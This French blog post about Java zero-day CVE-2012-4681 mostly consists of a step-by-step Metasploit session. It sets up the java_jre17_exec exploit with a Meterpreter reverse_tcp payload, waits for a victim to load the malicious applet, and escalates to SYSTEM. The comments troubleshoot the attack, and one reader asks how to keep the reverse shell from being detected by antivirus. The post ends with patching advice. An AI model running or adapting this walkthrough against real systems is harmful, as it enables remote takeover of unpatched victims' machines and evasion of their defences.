Metasploit et la faille 0 Day Java CVE-2012-4681
Une nouvelle faille de sécurité vient d'être découverte dans Java. Il s'agit d'un exploit 0day, qui permet à une personne malveillante de se connecter à une machine distante. Les navigateurs Internet Explorer, Chrome et Firefox (tous systèmes d'exploitation confondus, c'est-à-dire Windows, Linux, Mac...) utilisant Java en version JRE 1.7 update 6 sont concernés par le problème.
D'après une première analyse d'Atif Mushtaq, l'exploit aurait fait sa première apparition sur un serveur chinois, le 26 août 2012. Et visiblement, ce n'est qu'une question de temps avant que d'autres personnes ne reprennent ses principes de base et se mettent à coder des variantes, dans le but de réaliser des attaques de plus grandes ampleurs.
Atif Mushtaq se demande également combien de temps il va falloir à Oracle pour proposer un patch, alors que nous sommes en plein mois d'août.
En attendant, voici un exemple d'utilisation de cette faille avec Metasploit, en prenant pour cible une machine Windows :
$ svn up
$ ./msfconsole
msf > use exploit/multi/browser/java_jre17_exec
msf > info
msf > set SRVHOST 192.168.1.100
msf > set SRVPORT 80
msf > set URIPATH /foo
msf > show targetsExploit targets:
Id Name
-- ----
0 Generic (Java Payload)
1 Windows Universal
2 Linux x86msf > set TARGET 1
msf > show payloads
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.100
msf > exploit[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.100:4444
[*] Using URL: http://192.168.1.100:80/foo
[*] Server started.
Ensuite, il ne reste plus qu'à attendre qu'une personne se connecte au serveur infecté (http://192.168.1.100:80/foo), lancé précédemment avec Metasploit :
[*] 192.168.1.100 java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.1.100 java_jre17_exec - Sending Applet.jar
[*] 192.168.1.100 java_jre17_exec - Sending Applet.jar
[*] Sending stage (752128 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.101:56567) at Mon Aug 27 18:13:08
On ouvre une session à distance :
msf > sessions -i 2
[*] Starting interaction with 2...
On passe administrateur sur le poste Windows :
meterpreter > getsystem
...got system (via technique 1).
On récupère quelques infos :
meterpreter > sysinfo
Architecture : x86
Computer : xblade
System Language : fr_FR
OS : Windows XP (Build 2600, Service Pack 3).
Meterpreter : x86/win32
A ce stade là, on peut faire ce que l'on veut sur le système (capture d'écran, mise en place d'un keylogger...). Pour corriger cette faille, vous devez mettre à jour Java sur votre machine (quand les majs seront disponibles bien entendu).
Edit : Oracle vient de mettre en ligne une mise à jour (JDK et JRE 7 update 7). Soit 5 jours après la découverte de la faille.
Créé en 2005, Tux-planet est un site qui a pour ambition de regrouper des articles sur Linux et le monde des logiciels libres. 
10 Commentaires pour "Metasploit et la faille 0 Day Java CVE-2012-4681"
Flux des commentaires de cet article Ajouter un commentairesalut Seb j'espère que tu à passer de bonnes vacances sinon lors de la commande:
j'obtiens l'erreur:
edit: enfaite sous linux faut faire:
Merci pour cet article, j'ai essayé de faire un teste avec Metasploit windows mais je n'arrive pas a trouvé le module java_jre17_exec.
J'obtiens cette erreur: Failed to load module: exploit/multi/browser/java_jre17_exec
Si c'est possible, j’aimerais savoir comment effectuer une mise à jour de Metasploit sous windows.
Merci
ou on trouve le numéro de la session? pour la commande?
car j'obtiens:
Merci
@sl33k : yep, en faite, tu charges le payload en fonction de l'OS que tu attaques. En effet, les shellcodes ne s'écrivent pas de la même façon si tu attaques un Windows ou un Linux.
@sl33k : sinon, pour le numéro de session, il apparait dans metaspploit quand quelqu'un se connecte au serveur infecté. Exemple :
Ici il s'agit de la session n°2. Dans ton cas, c'est peut-être la session 1, car moi j'avais fais un test inutile avant.
@Ahmed : aucune idée. Dans mon exemple ci-dessus, je suis parti de la version subversion, c'est donc la version la plus à jour. Le module Metasploit pour cette faille étant sortie aujourd'hui, le passage par SVN est quasi obligatoire.
hello,
merci pour la news, une manière de ne pas se faire détecter le reverse_shelle par l'antivirus ? j'ai beau fouiller sur le net (encoding, génération d'un exe d'applications par défaut) mais je ne vois pas comment ne pas se faire détecter le reverse shell, merci par avance.
@noob : pour moi, il faut un firewall qui analyse le trafic sortant, pour détecter un reverse shell.
Merci pti-seb ta réponse, en fait j'ai trouvé la solution.
Pour les intéressés : il faut lancer la console Metasploit, après cliquer sur File -> New Tab -> Développement - Metasploit Update.
@Ahmed : metasploit pas à jour je pense // msfupdate oblige ou si le payload n'est toujours pas la ... et bien technique Mc Gyver
slt j'ai suivie ces étapte a la lettre mais lorsqu je lance exploit j'ai u msg qui dit " Exploit failed: Rex::AddressInUse The address is already in use (192.168.1.6:80)."
j'utilise backtrack 5 r3 j'ai fait tous les mise a jour nécissaire je suis sous virtual box une idée pour régler ce probleme ? (l'ip que j'ai indiquer si celle de ma backtrack sous vbox )
merci